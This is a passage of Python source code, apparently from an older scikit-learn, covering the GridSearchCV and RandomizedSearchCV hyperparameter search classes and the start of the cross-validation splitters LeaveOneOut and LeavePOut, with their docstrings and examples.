                raise ValueError(
                    "The total space of parameters %d is smaller "
                    "than n_iter=%d. For exhaustive searches, use "
                    "GridSearchCV." % (grid_size, self.n_iter))
            for i in sample_without_replacement(grid_size, self.n_iter,
                                                random_state=rnd):
                yield param_grid[i]

        else:
            # Always sort the keys of a dictionary, for reproducibility
            items = sorted(self.param_distributions.items())
            for _ in six.moves.range(self.n_iter):
                params = dict()
                for k, v in items:
                    if hasattr(v, "rvs"):
                        if sp_version < (0, 16):
                            params[k] = v.rvs()
                        else:
                            params[k] = v.rvs(random_state=rnd)
                    else:
                        params[k] = v[rnd.randint(len(v))]
                yield params

    def __len__(self):
        """Number of points that will be sampled."""
        return self.n_iter


def fit_grid_point(X, y, estimator, parameters, train, test, scorer,
                   verbose, error_score='raise', **fit_params):
    """Run fit on one set of parameters.

    Parameters
    ----------
    X : array-like, sparse matrix or list
        Input data.

    y : array-like or None
        Targets for input data.

    estimator : estimator object
        A object of that type is instantiated for each grid point.
        This is assumed to implement the scikit-learn estimator interface.
        Either estimator needs to provide a ``score`` function,
        or ``scoring`` must be passed.

    parameters : dict
        Parameters to be set on estimator for this grid point.

    train : ndarray, dtype int or bool
        Boolean mask or indices for training set.

    test : ndarray, dtype int or bool
        Boolean mask or indices for test set.

    scorer : callable or None.
        If provided must be a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    verbose : int
        Verbosity level.

    **fit_params : kwargs
        Additional parameter passed to the fit function of the estimator.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.

    Returns
    -------
    score : float
        Score of this parameter setting on given training / test split.

    parameters : dict
        The parameters that have been evaluated.

    n_samples_test : int
        Number of test samples in this split.
    """
    score, n_samples_test, _ = _fit_and_score(estimator, X, y, scorer, train,
                                              test, verbose, parameters,
                                              fit_params, error_score)
    return score, parameters, n_samples_test


def _check_param_grid(param_grid):
    if hasattr(param_grid, 'items'):
        param_grid = [param_grid]

    for p in param_grid:
        for v in p.values():
            if isinstance(v, np.ndarray) and v.ndim > 1:
                raise ValueError("Parameter array should be one-dimensional.")

            check = [isinstance(v, k) for k in (list, tuple, np.ndarray)]
            if True not in check:
                raise ValueError("Parameter values should be a list.")

            if len(v) == 0:
                raise ValueError("Parameter values should be a non-empty "
                                 "list.")


# XXX Remove in 0.20
class _CVScoreTuple (namedtuple('_CVScoreTuple',
                                ('parameters',
                                 'mean_validation_score',
                                 'cv_validation_scores'))):
    # A raw namedtuple is very memory efficient as it packs the attributes
    # in a struct to get rid of the __dict__ of attributes in particular it
    # does not copy the string for the keys on each instance.
    # By deriving a namedtuple class just to introduce the __repr__ method we
    # would also reintroduce the __dict__ on the instance. By telling the
    # Python interpreter that this subclass uses static __slots__ instead of
    # dynamic attributes. Furthermore we don't need any additional slot in the
    # subclass so we set __slots__ to the empty tuple.
    __slots__ = ()

    def __repr__(self):
        """Simple custom repr to summarize the main info"""
        return "mean: {0:.5f}, std: {1:.5f}, params: {2}".format(
            self.mean_validation_score,
            np.std(self.cv_validation_scores),
            self.parameters)


class BaseSearchCV(six.with_metaclass(ABCMeta, BaseEstimator,
                                      MetaEstimatorMixin)):
    """Base class for hyper parameter search with cross-validation."""

    @abstractmethod
    def __init__(self, estimator, scoring=None,
                 fit_params=None, n_jobs=1, iid=True,
                 refit=True, cv=None, verbose=0, pre_dispatch='2*n_jobs',
                 error_score='raise'):

        self.scoring = scoring
        self.estimator = estimator
        self.n_jobs = n_jobs
        self.fit_params = fit_params if fit_params is not None else {}
        self.iid = iid
        self.refit = refit
        self.cv = cv
        self.verbose = verbose
        self.pre_dispatch = pre_dispatch
        self.error_score = error_score

    @property
    def _estimator_type(self):
        return self.estimator._estimator_type

    def score(self, X, y=None):
        """Returns the score on the given data, if the estimator has been refit.

        This uses the score defined by ``scoring`` where provided, and the
        ``best_estimator_.score`` method otherwise.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Input data, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_output], optional
            Target relative to X for classification or regression;
            None for unsupervised learning.

        Returns
        -------
        score : float
        """
        if self.scorer_ is None:
            raise ValueError("No score function explicitly defined, "
                             "and the estimator doesn't provide one %s"
                             % self.best_estimator_)
        return self.scorer_(self.best_estimator_, X, y)

    @if_delegate_has_method(delegate='estimator')
    def predict(self, X):
        """Call predict on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``predict``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.predict(X)

    @if_delegate_has_method(delegate='estimator')
    def predict_proba(self, X):
        """Call predict_proba on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``predict_proba``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.predict_proba(X)

    @if_delegate_has_method(delegate='estimator')
    def predict_log_proba(self, X):
        """Call predict_log_proba on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``predict_log_proba``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.predict_log_proba(X)

    @if_delegate_has_method(delegate='estimator')
    def decision_function(self, X):
        """Call decision_function on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``decision_function``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.decision_function(X)

    @if_delegate_has_method(delegate='estimator')
    def transform(self, X):
        """Call transform on the estimator with the best found parameters.

        Only available if the underlying estimator supports ``transform`` and
        ``refit=True``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.transform(X)

    @if_delegate_has_method(delegate='estimator')
    def inverse_transform(self, Xt):
        """Call inverse_transform on the estimator with the best found parameters.

        Only available if the underlying estimator implements
        ``inverse_transform`` and ``refit=True``.

        Parameters
        -----------
        Xt : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.transform(Xt)

    def _fit(self, X, y, labels, parameter_iterable):
        """Actual fitting,  performing the search over parameters."""

        estimator = self.estimator
        cv = check_cv(self.cv, y, classifier=is_classifier(estimator))
        self.scorer_ = check_scoring(self.estimator, scoring=self.scoring)

        X, y, labels = indexable(X, y, labels)
        n_splits = cv.get_n_splits(X, y, labels)
        if self.verbose > 0 and isinstance(parameter_iterable, Sized):
            n_candidates = len(parameter_iterable)
            print("Fitting {0} folds for each of {1} candidates, totalling"
                  " {2} fits".format(n_splits, n_candidates,
                                     n_candidates * n_splits))

        base_estimator = clone(self.estimator)
        pre_dispatch = self.pre_dispatch

        out = Parallel(
            n_jobs=self.n_jobs, verbose=self.verbose,
            pre_dispatch=pre_dispatch
        )(delayed(_fit_and_score)(clone(base_estimator), X, y, self.scorer_,
                                  train, test, self.verbose, parameters,
                                  self.fit_params, return_parameters=True,
                                  error_score=self.error_score)
          for parameters in parameter_iterable
          for train, test in cv.split(X, y, labels))

        test_scores, test_sample_counts, _, parameters = zip(*out)

        candidate_params = parameters[::n_splits]
        n_candidates = len(candidate_params)

        test_scores = np.array(test_scores,
                               dtype=np.float64).reshape(n_candidates,
                                                         n_splits)
        # NOTE test_sample counts (weights) remain the same for all candidates
        test_sample_counts = np.array(test_sample_counts[:n_splits],
                                      dtype=np.int)

        # Computed the (weighted) mean and std for all the candidates
        weights = test_sample_counts if self.iid else None
        means = np.average(test_scores, axis=1, weights=weights)
        stds = np.sqrt(np.average((test_scores - means[:, np.newaxis]) ** 2,
                                  axis=1, weights=weights))

        results = dict()
        for split_i in range(n_splits):
            results["test_split%d_score" % split_i] = test_scores[:, split_i]
        results["test_mean_score"] = means
        results["test_std_score"] = stds

        ranks = np.asarray(rankdata(-means, method='min'), dtype=np.int32)

        best_index = np.flatnonzero(ranks == 1)[0]
        best_parameters = candidate_params[best_index]
        results["test_rank_score"] = ranks

        # Use one np.MaskedArray and mask all the places where the param is not
        # applicable for that candidate. Use defaultdict as each candidate may
        # not contain all the params
        param_results = defaultdict(partial(np.ma.masked_all, (n_candidates,),
                                            dtype=object))
        for cand_i, params in enumerate(candidate_params):
            for name, value in params.items():
                # An all masked empty array gets created for the key
                # `"param_%s" % name` at the first occurence of `name`.
                # Setting the value at an index also unmasks that index
                param_results["param_%s" % name][cand_i] = value

        results.update(param_results)

        # Store a list of param dicts at the key 'params'
        results['params'] = candidate_params

        self.results_ = results
        self.best_index_ = best_index
        self.n_splits_ = n_splits

        if self.refit:
            # fit the best estimator using the entire dataset
            # clone first to work around broken estimators
            best_estimator = clone(base_estimator).set_params(
                **best_parameters)
            if y is not None:
                best_estimator.fit(X, y, **self.fit_params)
            else:
                best_estimator.fit(X, **self.fit_params)
            self.best_estimator_ = best_estimator
        return self

    @property
    def best_params_(self):
        check_is_fitted(self, 'results_')
        return self.results_['params'][self.best_index_]

    @property
    def best_score_(self):
        check_is_fitted(self, 'results_')
        return self.results_['test_mean_score'][self.best_index_]

    @property
    def grid_scores_(self):
        warnings.warn(
            "The grid_scores_ attribute was deprecated in version 0.18"
            " in favor of the more elaborate results_ attribute."
            " The grid_scores_ attribute will not be available from 0.20",
            DeprecationWarning)

        check_is_fitted(self, 'results_')
        grid_scores = list()

        for i, (params, mean, std) in enumerate(zip(
                self.results_['params'],
                self.results_['test_mean_score'],
                self.results_['test_std_score'])):
            scores = np.array(list(self.results_['test_split%d_score' % s][i]
                                   for s in range(self.n_splits_)),
                              dtype=np.float64)
            grid_scores.append(_CVScoreTuple(params, mean, scores))

        return grid_scores


class GridSearchCV(BaseSearchCV):
    """Exhaustive search over specified parameter values for an estimator.

    Important members are fit, predict.

    GridSearchCV implements a "fit" and a "score" method.
    It also implements "predict", "predict_proba", "decision_function",
    "transform" and "inverse_transform" if they are implemented in the
    estimator used.

    The parameters of the estimator used to apply these methods are optimized
    by cross-validated grid-search over a parameter grid.

    Read more in the :ref:`User Guide <grid_search>`.

    Parameters
    ----------
    estimator : estimator object.
        This is assumed to implement the scikit-learn estimator interface.
        Either estimator needs to provide a ``score`` function,
        or ``scoring`` must be passed.

    param_grid : dict or list of dictionaries
        Dictionary with parameters names (string) as keys and lists of
        parameter settings to try as values, or a list of such
        dictionaries, in which case the grids spanned by each dictionary
        in the list are explored. This enables searching over any sequence
        of parameter settings.

    scoring : string, callable or None, default=None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.
        If ``None``, the ``score`` method of the estimator is used.

    fit_params : dict, optional
        Parameters to pass to the fit method.

    n_jobs : int, default=1
        Number of jobs to run in parallel.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    iid : boolean, default=True
        If True, the data is assumed to be identically distributed across
        the folds, and the loss minimized is the total loss per sample,
        and not the mean loss across the folds.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    refit : boolean, default=True
        Refit the best estimator with the entire dataset.
        If "False", it is impossible to make predictions using
        this GridSearchCV instance after fitting.

    verbose : integer
        Controls the verbosity: the higher, the more messages.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.


    Examples
    --------
    >>> from sklearn import svm, datasets
    >>> from sklearn.model_selection import GridSearchCV
    >>> iris = datasets.load_iris()
    >>> parameters = {'kernel':('linear', 'rbf'), 'C':[1, 10]}
    >>> svr = svm.SVC()
    >>> clf = GridSearchCV(svr, parameters)
    >>> clf.fit(iris.data, iris.target)
    ...                             # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    GridSearchCV(cv=None, error_score=...,
           estimator=SVC(C=1.0, cache_size=..., class_weight=..., coef0=...,
                         decision_function_shape=None, degree=..., gamma=...,
                         kernel='rbf', max_iter=-1, probability=False,
                         random_state=None, shrinking=True, tol=...,
                         verbose=False),
           fit_params={}, iid=..., n_jobs=1,
           param_grid=..., pre_dispatch=..., refit=...,
           scoring=..., verbose=...)
    >>> sorted(clf.results_.keys())
    ...                             # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    ['param_C', 'param_kernel', 'params', 'test_mean_score',...
     'test_rank_score', 'test_split0_score', 'test_split1_score',...
     'test_split2_score', 'test_std_score']

    Attributes
    ----------
    results_ : dict of numpy (masked) ndarrays
        A dict with keys as column headers and values as columns, that can be
        imported into a pandas ``DataFrame``.

        For instance the below given table

        +------------+-----------+------------+-----------------+---+---------+
        |param_kernel|param_gamma|param_degree|test_split0_score|...|...rank..|
        +============+===========+============+=================+===+=========+
        |  'poly'    |     --    |      2     |        0.8      |...|    2    |
        +------------+-----------+------------+-----------------+---+---------+
        |  'poly'    |     --    |      3     |        0.7      |...|    4    |
        +------------+-----------+------------+-----------------+---+---------+
        |  'rbf'     |     0.1   |     --     |        0.8      |...|    3    |
        +------------+-----------+------------+-----------------+---+---------+
        |  'rbf'     |     0.2   |     --     |        0.9      |...|    1    |
        +------------+-----------+------------+-----------------+---+---------+

        will be represented by a ``results_`` dict of::

            {
            'param_kernel': masked_array(data = ['poly', 'poly', 'rbf', 'rbf'],
                                         mask = [False False False False]...)
            'param_gamma': masked_array(data = [-- -- 0.1 0.2],
                                        mask = [ True  True False False]...),
            'param_degree': masked_array(data = [2.0 3.0 -- --],
                                         mask = [False False  True  True]...),
            'test_split0_score' : [0.8, 0.7, 0.8, 0.9],
            'test_split1_score' : [0.82, 0.5, 0.7, 0.78],
            'test_mean_score'   : [0.81, 0.60, 0.75, 0.82],
            'test_std_score'    : [0.02, 0.01, 0.03, 0.03],
            'test_rank_score'   : [2, 4, 3, 1],
            'params'            : [{'kernel': 'poly', 'degree': 2}, ...],
            }

        NOTE that the key ``'params'`` is used to store a list of parameter
        settings dict for all the parameter candidates.

    best_estimator_ : estimator
        Estimator that was chosen by the search, i.e. estimator
        which gave highest score (or smallest loss if specified)
        on the left out data. Not available if refit=False.

    best_score_ : float
        Score of best_estimator on the left out data.

    best_params_ : dict
        Parameter setting that gave the best results on the hold out data.

    best_index_ : int
        The index (of the ``results_`` arrays) which corresponds to the best
        candidate parameter setting.

        The dict at ``search.results_['params'][search.best_index_]`` gives
        the parameter setting for the best model, that gives the highest
        mean score (``search.best_score_``).

    scorer_ : function
        Scorer function used on the held out data to choose the best
        parameters for the model.

    n_splits_ : int
        The number of cross-validation splits (folds/iterations).

    Notes
    ------
    The parameters selected are those that maximize the score of the left out
    data, unless an explicit score is passed in which case it is used instead.

    If `n_jobs` was set to a value higher than one, the data is copied for each
    point in the grid (and not `n_jobs` times). This is done for efficiency
    reasons if individual jobs take very little time, but may raise errors if
    the dataset is large and not enough memory is available.  A workaround in
    this case is to set `pre_dispatch`. Then, the memory is copied only
    `pre_dispatch` many times. A reasonable value for `pre_dispatch` is `2 *
    n_jobs`.

    See Also
    ---------
    :class:`ParameterGrid`:
        generates all the combinations of a hyperparameter grid.

    :func:`sklearn.model_selection.train_test_split`:
        utility function to split the data into a development set usable
        for fitting a GridSearchCV instance and an evaluation set for
        its final evaluation.

    :func:`sklearn.metrics.make_scorer`:
        Make a scorer from a performance metric or loss function.

    """

    def __init__(self, estimator, param_grid, scoring=None, fit_params=None,
                 n_jobs=1, iid=True, refit=True, cv=None, verbose=0,
                 pre_dispatch='2*n_jobs', error_score='raise'):
        super(GridSearchCV, self).__init__(
            estimator=estimator, scoring=scoring, fit_params=fit_params,
            n_jobs=n_jobs, iid=iid, refit=refit, cv=cv, verbose=verbose,
            pre_dispatch=pre_dispatch, error_score=error_score)
        self.param_grid = param_grid
        _check_param_grid(param_grid)

    def fit(self, X, y=None, labels=None):
        """Run fit with all sets of parameters.

        Parameters
        ----------

        X : array-like, shape = [n_samples, n_features]
            Training vector, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_output], optional
            Target relative to X for classification or regression;
            None for unsupervised learning.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.
        """
        return self._fit(X, y, labels, ParameterGrid(self.param_grid))


class RandomizedSearchCV(BaseSearchCV):
    """Randomized search on hyper parameters.

    RandomizedSearchCV implements a "fit" and a "score" method.
    It also implements "predict", "predict_proba", "decision_function",
    "transform" and "inverse_transform" if they are implemented in the
    estimator used.

    The parameters of the estimator used to apply these methods are optimized
    by cross-validated search over parameter settings.

    In contrast to GridSearchCV, not all parameter values are tried out, but
    rather a fixed number of parameter settings is sampled from the specified
    distributions. The number of parameter settings that are tried is
    given by n_iter.

    If all parameters are presented as a list,
    sampling without replacement is performed. If at least one parameter
    is given as a distribution, sampling with replacement is used.
    It is highly recommended to use continuous distributions for continuous
    parameters.

    Read more in the :ref:`User Guide <randomized_parameter_search>`.

    Parameters
    ----------
    estimator : estimator object.
        A object of that type is instantiated for each grid point.
        This is assumed to implement the scikit-learn estimator interface.
        Either estimator needs to provide a ``score`` function,
        or ``scoring`` must be passed.

    param_distributions : dict
        Dictionary with parameters names (string) as keys and distributions
        or lists of parameters to try. Distributions must provide a ``rvs``
        method for sampling (such as those from scipy.stats.distributions).
        If a list is given, it is sampled uniformly.

    n_iter : int, default=10
        Number of parameter settings that are sampled. n_iter trades
        off runtime vs quality of the solution.

    scoring : string, callable or None, default=None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.
        If ``None``, the ``score`` method of the estimator is used.

    fit_params : dict, optional
        Parameters to pass to the fit method.

    n_jobs : int, default=1
        Number of jobs to run in parallel.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    iid : boolean, default=True
        If True, the data is assumed to be identically distributed across
        the folds, and the loss minimized is the total loss per sample,
        and not the mean loss across the folds.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    refit : boolean, default=True
        Refit the best estimator with the entire dataset.
        If "False", it is impossible to make predictions using
        this RandomizedSearchCV instance after fitting.

    verbose : integer
        Controls the verbosity: the higher, the more messages.

    random_state : int or RandomState
        Pseudo random number generator state used for random uniform sampling
        from lists of possible values instead of scipy.stats distributions.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.

    Attributes
    ----------
    results_ : dict of numpy (masked) ndarrays
        A dict with keys as column headers and values as columns, that can be
        imported into a pandas ``DataFrame``.

        For instance the below given table

        +--------------+-------------+-------------------+---+---------------+
        | param_kernel | param_gamma | test_split0_score |...|test_rank_score|
        +==============+=============+===================+===+===============+
        |    'rbf'     |     0.1     |        0.8        |...|       2       |
        +--------------+-------------+-------------------+---+---------------+
        |    'rbf'     |     0.2     |        0.9        |...|       1       |
        +--------------+-------------+-------------------+---+---------------+
        |    'rbf'     |     0.3     |        0.7        |...|       1       |
        +--------------+-------------+-------------------+---+---------------+

        will be represented by a ``results_`` dict of::

            {
            'param_kernel' : masked_array(data = ['rbf', rbf', 'rbf'],
                                          mask = False),
            'param_gamma'  : masked_array(data = [0.1 0.2 0.3], mask = False),
            'test_split0_score' : [0.8, 0.9, 0.7],
            'test_split1_score' : [0.82, 0.5, 0.7],
            'test_mean_score'   : [0.81, 0.7, 0.7],
            'test_std_score'    : [0.02, 0.2, 0.],
            'test_rank_score'   : [3, 1, 1],
            'params' : [{'kernel' : 'rbf', 'gamma' : 0.1}, ...],
            }

        NOTE that the key ``'params'`` is used to store a list of parameter
        settings dict for all the parameter candidates.

    best_estimator_ : estimator
        Estimator that was chosen by the search, i.e. estimator
        which gave highest score (or smallest loss if specified)
        on the left out data. Not available if refit=False.

    best_score_ : float
        Score of best_estimator on the left out data.

    best_params_ : dict
        Parameter setting that gave the best results on the hold out data.

    best_index_ : int
        The index (of the ``results_`` arrays) which corresponds to the best
        candidate parameter setting.

        The dict at ``search.results_['params'][search.best_index_]`` gives
        the parameter setting for the best model, that gives the highest
        mean score (``search.best_score_``).

    scorer_ : function
        Scorer function used on the held out data to choose the best
        parameters for the model.

    n_splits_ : int
        The number of cross-validation splits (folds/iterations).

    Notes
    -----
    The parameters selected are those that maximize the score of the held-out
    data, according to the scoring parameter.

    If `n_jobs` was set to a value higher than one, the data is copied for each
    parameter setting(and not `n_jobs` times). This is done for efficiency
    reasons if individual jobs take very little time, but may raise errors if
    the dataset is large and not enough memory is available.  A workaround in
    this case is to set `pre_dispatch`. Then, the memory is copied only
    `pre_dispatch` many times. A reasonable value for `pre_dispatch` is `2 *
    n_jobs`.

    See Also
    --------
    :class:`GridSearchCV`:
        Does exhaustive search over a grid of parameters.

    :class:`ParameterSampler`:
        A generator over parameter settins, constructed from
        param_distributions.

    """

    def __init__(self, estimator, param_distributions, n_iter=10, scoring=None,
                 fit_params=None, n_jobs=1, iid=True, refit=True, cv=None,
                 verbose=0, pre_dispatch='2*n_jobs', random_state=None,
                 error_score='raise'):

        self.param_distributions = param_distributions
        self.n_iter = n_iter
        self.random_state = random_state
        super(RandomizedSearchCV, self).__init__(
            estimator=estimator, scoring=scoring, fit_params=fit_params,
            n_jobs=n_jobs, iid=iid, refit=refit, cv=cv, verbose=verbose,
            pre_dispatch=pre_dispatch, error_score=error_score)

    def fit(self, X, y=None, labels=None):
        """Run fit on the estimator with randomly drawn parameters.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_output], optional
            Target relative to X for classification or regression;
            None for unsupervised learning.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.
        """
        sampled_params = ParameterSampler(self.param_distributions,
                                          self.n_iter,
                                          random_state=self.random_state)
        return self._fit(X, y, labels, sampled_params)






"""
The :mod:`sklearn.model_selection._split` module includes classes and
functions to split the data based on a preset strategy.
"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>,
#         Gael Varoquaux <gael.varoquaux@normalesup.org>,
#         Olivier Grisel <olivier.grisel@ensta.org>
#         Raghav R V <rvraghav93@gmail.com>
# License: BSD 3 clause


from __future__ import print_function
from __future__ import division

import warnings
from itertools import chain, combinations
from collections import Iterable
from math import ceil, floor
import numbers
from abc import ABCMeta, abstractmethod

import numpy as np

from scipy.misc import comb
from ..utils import indexable, check_random_state, safe_indexing
from ..utils.validation import _num_samples, column_or_1d
from ..utils.multiclass import type_of_target
from ..externals.six import with_metaclass
from ..externals.six.moves import zip
from ..utils.fixes import bincount
from ..utils.fixes import signature
from ..base import _pprint
from ..gaussian_process.kernels import Kernel as GPKernel

__all__ = ['BaseCrossValidator',
           'KFold',
           'LabelKFold',
           'LeaveOneLabelOut',
           'LeaveOneOut',
           'LeavePLabelOut',
           'LeavePOut',
           'ShuffleSplit',
           'LabelShuffleSplit',
           'StratifiedKFold',
           'StratifiedShuffleSplit',
           'PredefinedSplit',
           'train_test_split',
           'check_cv']


class BaseCrossValidator(with_metaclass(ABCMeta)):
    """Base class for all cross-validators

    Implementations must define `_iter_test_masks` or `_iter_test_indices`.
    """

    def __init__(self):
        # We need this for the build_repr to work properly in py2.7
        # see #6304
        pass

    def split(self, X, y=None, labels=None):
        """Generate indices to split data into training and test set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, of length n_samples
            The target variable for supervised learning problems.

        labels : array-like, with shape (n_samples,), optional
            Group labels for the samples used while splitting the dataset into
            train/test set.

        Returns
        -------
        train : ndarray
            The training set indices for that split.

        test : ndarray
            The testing set indices for that split.
        """
        X, y, labels = indexable(X, y, labels)
        indices = np.arange(_num_samples(X))
        for test_index in self._iter_test_masks(X, y, labels):
            train_index = indices[np.logical_not(test_index)]
            test_index = indices[test_index]
            yield train_index, test_index

    # Since subclasses must implement either _iter_test_masks or
    # _iter_test_indices, neither can be abstract.
    def _iter_test_masks(self, X=None, y=None, labels=None):
        """Generates boolean masks corresponding to test sets.

        By default, delegates to _iter_test_indices(X, y, labels)
        """
        for test_index in self._iter_test_indices(X, y, labels):
            test_mask = np.zeros(_num_samples(X), dtype=np.bool)
            test_mask[test_index] = True
            yield test_mask

    def _iter_test_indices(self, X=None, y=None, labels=None):
        """Generates integer indices corresponding to test sets."""
        raise NotImplementedError

    @abstractmethod
    def get_n_splits(self, X=None, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator"""

    def __repr__(self):
        return _build_repr(self)


class LeaveOneOut(BaseCrossValidator):
    """Leave-One-Out cross-validator

    Provides train/test indices to split data in train/test sets. Each
    sample is used once as a test set (singleton) while the remaining
    samples form the training set.

    Note: ``LeaveOneOut()`` is equivalent to ``KFold(n_splits=n)`` and
    ``LeavePOut(p=1)`` where ``n`` is the number of samples.

    Due to the high number of test sets (which is the same as the
    number of samples) this cross-validation method can be very costly.
    For large datasets one should favor :class:`KFold`, :class:`ShuffleSplit`
    or :class:`StratifiedKFold`.

    Read more in the :ref:`User Guide <cross_validation>`.

    Examples
    --------
    >>> from sklearn.model_selection import LeaveOneOut
    >>> X = np.array([[1, 2], [3, 4]])
    >>> y = np.array([1, 2])
    >>> loo = LeaveOneOut()
    >>> loo.get_n_splits(X)
    2
    >>> print(loo)
    LeaveOneOut()
    >>> for train_index, test_index in loo.split(X):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    ...    print(X_train, X_test, y_train, y_test)
    TRAIN: [1] TEST: [0]
    [[3 4]] [[1 2]] [2] [1]
    TRAIN: [0] TEST: [1]
    [[1 2]] [[3 4]] [1] [2]

    See also
    --------
    LeaveOneLabelOut
        For splitting the data according to explicit, domain-specific
        stratification of the dataset.

    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def _iter_test_indices(self, X, y=None, labels=None):
        return range(_num_samples(X))

    def get_n_splits(self, X, y=None, labels=None):
        """Returns the number of splitting iterations in the cross-validator

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : object
            Always ignored, exists for compatibility.

        labels : object
            Always ignored, exists for compatibility.

        Returns
        -------
        n_splits : int
            Returns the number of splitting iterations in the cross-validator.
        """
        if X is None:
            raise ValueError("The X parameter should not be None")
        return _num_samples(X)


class LeavePOut(BaseCrossValidator):
    """Leave-P-Out cross-validator

    Provides train/test indices to split data in train/test sets. This results
    in testing on all distinct samples of size p, while the remaining n - p
    samples form the training set in each iteration.

    Note: ``LeavePOut(p)`` is NOT equivalent to
    ``KFold(n_splits=n_samples // p)`` which creates non-overlapping test sets.

    Due to the high number of iterations which grows combinatorically with the
    number of samples this cross-validation method can be very costly. For
    large datasets one should favor :class:`KFold`, :class:`StratifiedKFold`
    or :class:`ShuffleSplit`.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    p : int
        Size of the test sets.

    Examples
    --------
    >>> from sklearn.model_selection import LeavePOut
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 3, 4])
    >>> lpo = LeavePOut(2)
    >>> lpo.get_n_splits(X)
    6
    >>> print(lpo)
    LeavePOut(p=2)
    >>> for train_index, test_index in lpo.split(X):
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [2 3] TEST: [0 1]
    TRAIN: [1 3] TEST: [0 2]
    TRAIN: [1 2] TEST: [0 3]
    TRAIN: [0 3] TEST: [1 2]
    TRAIN: [0 2] TEST: [1 3]
    TRAIN: [0 1] TEST: [2 3]
    """

    def __init__(self, p):
        self.p = p

    def _iter_test_indices(self, X, y=None, labels=None):
